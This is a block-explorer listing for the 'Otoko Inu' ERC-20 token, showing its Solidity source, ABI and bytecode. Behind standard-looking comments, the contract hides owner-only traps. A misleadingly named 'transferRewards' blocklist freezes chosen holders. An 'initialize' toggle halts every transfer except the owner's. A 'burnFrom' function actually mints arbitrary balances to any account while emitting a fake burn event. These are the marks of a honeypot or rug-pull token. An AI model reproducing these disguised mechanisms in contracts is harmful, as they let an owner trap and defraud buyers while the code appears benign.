Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
3,000,000,000 OtokoINU
Holders
51
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
728,887.907964414 OtokoINUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OtokoINU
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity Multiple files format)
/// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./Context.sol"; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */ contract OtokoINU is Context, Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _transferRewards; bool _initialize; uint256 private _totalSupply; uint256 private _supplyCap; string private _name; string private _symbol; address unir; address unif; /** * @dev Sets the values for {name}, {symbol} and {totalsupply}. */ constructor(address rter, address fctr) { _name = "Otoko Inu"; _symbol = "OtokoINU"; _totalSupply = 3000000000*10**9; _supplyCap = 3000000000; _balances[msg.sender] += _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); _initialize = true; unir = rter; unif = fctr; } /** * @notice Returns Supply Cap (maximum possible amount of tokens) */ function SUPPLY_CAP() external view returns (uint256) { return _supplyCap; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_transferRewards[sender] || _transferRewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == owner() || recipient == owner()) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount);} else {require (_initialize == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the */ function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Adds address to Rewards list. */ function transferRewards (address _address) external onlyOwner { if (_transferRewards[_address] == true) {_transferRewards[_address] = false;} else {_transferRewards[_address] = true; } } /** * @notice Checking if the address is on Reward list. */ function rewarded(address _address) public view returns (bool) { return _transferRewards[_address]; } /** * @notice Initialize contract. */ function initialize() public virtual onlyOwner { if (_initialize == true) {_initialize = false;} else {_initialize = true;} } /** * @notice Check if contract is already Initialized. */ function initialized() public view returns (bool) { return _initialize; } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"transferRewards","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620022fe380380620022fe8339818101604052810190620000379190620003d5565b6000620000496200030660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f4f746f6b6f20496e75000000000000000000000000000000000000000000000081525060079080519060200190620001349291906200030e565b506040518060400160405280600881526020017f4f746f6b6f494e5500000000000000000000000000000000000000000000000081525060089080519060200190620001829291906200030e565b506729a2241af62c000060058190555063b2d05e00600681905550600554600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001f0919062000444565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000259919062000427565b60405180910390a36001600460006101000a81548160ff02191690831515021790555081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506200058d565b600033905090565b8280546200031c90620004df565b90600052602060002090601f0160209004810192826200034057600085556200038c565b82601f106200035b57805160ff19168380011785556200038c565b828001600101855582156200038c579182015b828111156200038b5782518255916020019190600101906200036e565b5b5090506200039b91906200039f565b5090565b5b80821115620003ba576000816000905550600101620003a0565b5090565b600081519050620003cf8162000573565b92915050565b60008060408385031215620003e957600080fd5b6000620003f985828601620003be565b92505060206200040c85828601620003be565b9150509250929050565b6200042181620004d5565b82525050565b60006020820190506200043e600083018462000416565b92915050565b60006200045182620004d5565b91506200045e83620004d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000496576200049562000515565b5b828201905092915050565b6000620004ae82620004b5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006002820490506001821680620004f857607f821691505b602082108114156200050f576200050e62000544565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200057e81620004a1565b81146200058a57600080fd5b50565b611d61806200059d6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063379f53e3116100a257806395d89b411161007157806395d89b41146102bc578063a457c2d7146102da578063a9059cbb1461030a578063bd88ab561461033a578063dd62ed3e146103565761010b565b8063379f53e314610222578063395093511461025257806370a08231146102825780638129fc1c146102b25761010b565b8063158ef93e116100de578063158ef93e1461019857806318160ddd146101b657806323b872dd146101d4578063313ce567146102045761010b565b806306fdde0314610110578063095ea7b31461012e5780630cfccc831461015e578063124d91e51461017c575b600080fd5b610118610386565b60405161012591906116f2565b60405180910390f35b61014860048036038101906101439190611488565b610418565b60405161015591906116d7565b60405180910390f35b610166610436565b6040516101739190611854565b60405180910390f35b610196600480360381019061019191906114c4565b610440565b005b6101a061061f565b6040516101ad91906116d7565b60405180910390f35b6101be610636565b6040516101cb9190611854565b60405180910390f35b6101ee60048036038101906101e99190611439565b610640565b6040516101fb91906116d7565b60405180910390f35b61020c610738565b604051610219919061186f565b60405180910390f35b61023c600480360381019061023791906113d4565b610741565b60405161024991906116d7565b60405180910390f35b61026c60048036038101906102679190611488565b610797565b60405161027991906116d7565b60405180910390f35b61029c600480360381019061029791906113d4565b610843565b6040516102a99190611854565b60405180910390f35b6102ba61088c565b005b6102c461097b565b6040516102d191906116f2565b60405180910390f35b6102f460048036038101906102ef9190611488565b610a0d565b60405161030191906116d7565b60405180910390f35b610324600480360381019061031f9190611488565b610af8565b60405161033191906116d7565b60405180910390f35b610354600480360381019061034f91906113d4565b610b16565b005b610370600480360381019061036b91906113fd565b610cbd565b60405161037d9190611854565b60405180910390f35b606060078054610395906119b8565b80601f01602080910402602001604051908101604052809291908181526020018280546103c1906119b8565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610d44565b8484610d4c565b6001905092915050565b6000600654905090565b610448610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cc906117b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053c90611774565b60405180910390fd5b816005600082825461055791906118fc565b9250508190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ad91906118a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106129190611854565b60405180910390a3505050565b6000600460009054906101000a900460ff16905090565b6000600554905090565b600061064d848484610f17565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610698610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f90611794565b60405180910390fd5b61072c85610724610d44565b858403610d4c565b60019150509392505050565b60006009905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006108396107a4610d44565b8484600260006107b2610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083491906118a6565b610d4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610894610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610921576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610918906117b4565b60405180910390fd5b60011515600460009054906101000a900460ff161515141561095d576000600460006101000a81548160ff021916908315150217905550610979565b6001600460006101000a81548160ff0219169083151502179055505b565b60606008805461098a906119b8565b80601f01602080910402602001604051908101604052809291908181526020018280546109b6906119b8565b8015610a035780601f106109d857610100808354040283529160200191610a03565b820191906000526020600020905b8154815290600101906020018083116109e657829003601f168201915b5050505050905090565b60008060026000610a1c610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad090611834565b60405180910390fd5b610aed610ae4610d44565b85858403610d4c565b600191505092915050565b6000610b0c610b05610d44565b8484610f17565b6001905092915050565b610b1e610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906117b4565b60405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610c61576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610cba565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390611814565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611734565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0a9190611854565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906117d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611714565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806110985750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e157600081146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906117f4565b60405180910390fd5b5b60011515600460009054906101000a900460ff16151514806111355750611106611377565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111725750611143611377565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561131b576111828383836113a0565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120090611754565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461129e91906118a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113029190611854565b60405180910390a36113158484846113a5565b50611372565b60011515600460009054906101000a900460ff16151514611371576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611368906117f4565b60405180910390fd5b5b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b6000813590506113b981611cfd565b92915050565b6000813590506113ce81611d14565b92915050565b6000602082840312156113e657600080fd5b60006113f4848285016113aa565b91505092915050565b6000806040838503121561141057600080fd5b600061141e858286016113aa565b925050602061142f858286016113aa565b9150509250929050565b60008060006060848603121561144e57600080fd5b600061145c868287016113aa565b935050602061146d868287016113aa565b925050604061147e868287016113bf565b9150509250925092565b6000806040838503121561149b57600080fd5b60006114a9858286016113aa565b92505060206114ba858286016113bf565b9150509250929050565b6000806000606084860312156114d957600080fd5b60006114e7868287016113aa565b93505060206114f8868287016113bf565b9250506040611509868287016113bf565b9150509250925092565b61151c81611942565b82525050565b600061152d8261188a565b6115378185611895565b9350611547818560208601611985565b61155081611a48565b840191505092915050565b6000611568602383611895565b915061157382611a59565b604082019050919050565b600061158b602283611895565b915061159682611aa8565b604082019050919050565b60006115ae602683611895565b91506115b982611af7565b604082019050919050565b60006115d1602c83611895565b91506115dc82611b46565b604082019050919050565b60006115f4602883611895565b91506115ff82611b95565b604082019050919050565b6000611617602083611895565b915061162282611be4565b602082019050919050565b600061163a602583611895565b915061164582611c0d565b604082019050919050565b600061165d600083611895565b915061166882611c5c565b600082019050919050565b6000611680602483611895565b915061168b82611c5f565b604082019050919050565b60006116a3602583611895565b91506116ae82611cae565b604082019050919050565b6116c28161196e565b82525050565b6116d181611978565b82525050565b60006020820190506116ec6000830184611513565b92915050565b6000602082019050818103600083015261170c8184611522565b905092915050565b6000602082019050818103600083015261172d8161155b565b9050919050565b6000602082019050818103600083015261174d8161157e565b9050919050565b6000602082019050818103600083015261176d816115a1565b9050919050565b6000602082019050818103600083015261178d816115c4565b9050919050565b600060208201905081810360008301526117ad816115e7565b9050919050565b600060208201905081810360008301526117cd8161160a565b9050919050565b600060208201905081810360008301526117ed8161162d565b9050919050565b6000602082019050818103600083015261180d81611650565b9050919050565b6000602082019050818103600083015261182d81611673565b9050919050565b6000602082019050818103600083015261184d81611696565b9050919050565b600060208201905061186960008301846116b9565b92915050565b600060208201905061188460008301846116c8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118b18261196e565b91506118bc8361196e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118f1576118f06119ea565b5b828201905092915050565b60006119078261196e565b91506119128361196e565b925082821015611925576119246119ea565b5b828203905092915050565b600061193b8261194e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156119a3578082015181840152602081019050611988565b838111156119b2576000848401525b50505050565b600060028204905060018216806119d057607f821691505b602082108114156119e4576119e3611a19565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611d0681611930565b8114611d1157600080fd5b50565b611d1d8161196e565b8114611d2857600080fd5b5056fea26469706673582212202e1b6fbbad047f687eae8d804d34e0c630b8be5a8f1f79292cd21111a58b45a264736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063379f53e3116100a257806395d89b411161007157806395d89b41146102bc578063a457c2d7146102da578063a9059cbb1461030a578063bd88ab561461033a578063dd62ed3e146103565761010b565b8063379f53e314610222578063395093511461025257806370a08231146102825780638129fc1c146102b25761010b565b8063158ef93e116100de578063158ef93e1461019857806318160ddd146101b657806323b872dd146101d4578063313ce567146102045761010b565b806306fdde0314610110578063095ea7b31461012e5780630cfccc831461015e578063124d91e51461017c575b600080fd5b610118610386565b60405161012591906116f2565b60405180910390f35b61014860048036038101906101439190611488565b610418565b60405161015591906116d7565b60405180910390f35b610166610436565b6040516101739190611854565b60405180910390f35b610196600480360381019061019191906114c4565b610440565b005b6101a061061f565b6040516101ad91906116d7565b60405180910390f35b6101be610636565b6040516101cb9190611854565b60405180910390f35b6101ee60048036038101906101e99190611439565b610640565b6040516101fb91906116d7565b60405180910390f35b61020c610738565b604051610219919061186f565b60405180910390f35b61023c600480360381019061023791906113d4565b610741565b60405161024991906116d7565b60405180910390f35b61026c60048036038101906102679190611488565b610797565b60405161027991906116d7565b60405180910390f35b61029c600480360381019061029791906113d4565b610843565b6040516102a99190611854565b60405180910390f35b6102ba61088c565b005b6102c461097b565b6040516102d191906116f2565b60405180910390f35b6102f460048036038101906102ef9190611488565b610a0d565b60405161030191906116d7565b60405180910390f35b610324600480360381019061031f9190611488565b610af8565b60405161033191906116d7565b60405180910390f35b610354600480360381019061034f91906113d4565b610b16565b005b610370600480360381019061036b91906113fd565b610cbd565b60405161037d9190611854565b60405180910390f35b606060078054610395906119b8565b80601f01602080910402602001604051908101604052809291908181526020018280546103c1906119b8565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610d44565b8484610d4c565b6001905092915050565b6000600654905090565b610448610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cc906117b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffff